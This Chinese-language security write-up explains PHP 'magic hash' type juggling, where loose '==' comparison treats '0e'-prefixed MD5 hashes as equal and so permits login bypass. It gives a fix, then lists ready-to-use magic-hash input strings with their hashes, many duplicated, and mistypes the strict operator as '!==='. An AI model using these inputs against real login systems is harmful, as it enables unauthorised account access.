漏洞原因:
PHP以一种特定的方式处理被哈希的字符串,攻击者可以利用其从中尝试并可能获取密码,绕过登录认证系统和其它运行在PHP哈希比较之上的函数。
漏洞描述:
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
"==="和"!=="即strict比较符,只有在类型相同时才相等。"=="和"!="即non-strict比较符,会在类型转换后进行比较。
再看php manual中给出的例子:
true
var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true
?>
字符串在与数字比较前会自动转换为数字,所以0=="a"了。
另外两个字符串比较,如果两个都是数字形式,则同时转换为数字进行比较,所以"1"=="01"。
这时你要问了,wordpress的代码中是将cookie中的hash和真实hash这两个hash的字符串进行比较,和这个有什麽关系呢?
我们注意上面"10"=="1e1"这个例子,php智能的将科学计数形式的字符串转换为对应数字(1e1 = 1*10^1 = 1)。两个不同的字符居然相等了,不知到这裡你是否得到了启示?
好吧,来一个明显的,你一定会恍然大悟:
var_dump("0e123456789012345678901234567890"==="0") //false
var_dump("0e123456789012345678901234567890"=="0") //true
当hash以"0exxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"之类的形式出现时,与"0"相等。
影响范围
影响大量web站点,其中的登录认证,“忘记密码”,二进制校验,cookie等方面,由于都会用到PHP中的哈希函数值比较,因此都存在隐患。
解决方案
分析使用PHP的web站点中哈希比较函数,将其中的”==”,”!=”分别更改为”===”和”!===”。
0x01
md5(
str
)
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
0x02
md5(md5())
0x03
md5(md5(
str
).
"SALT"
)
2
0e774261293712168181959463563504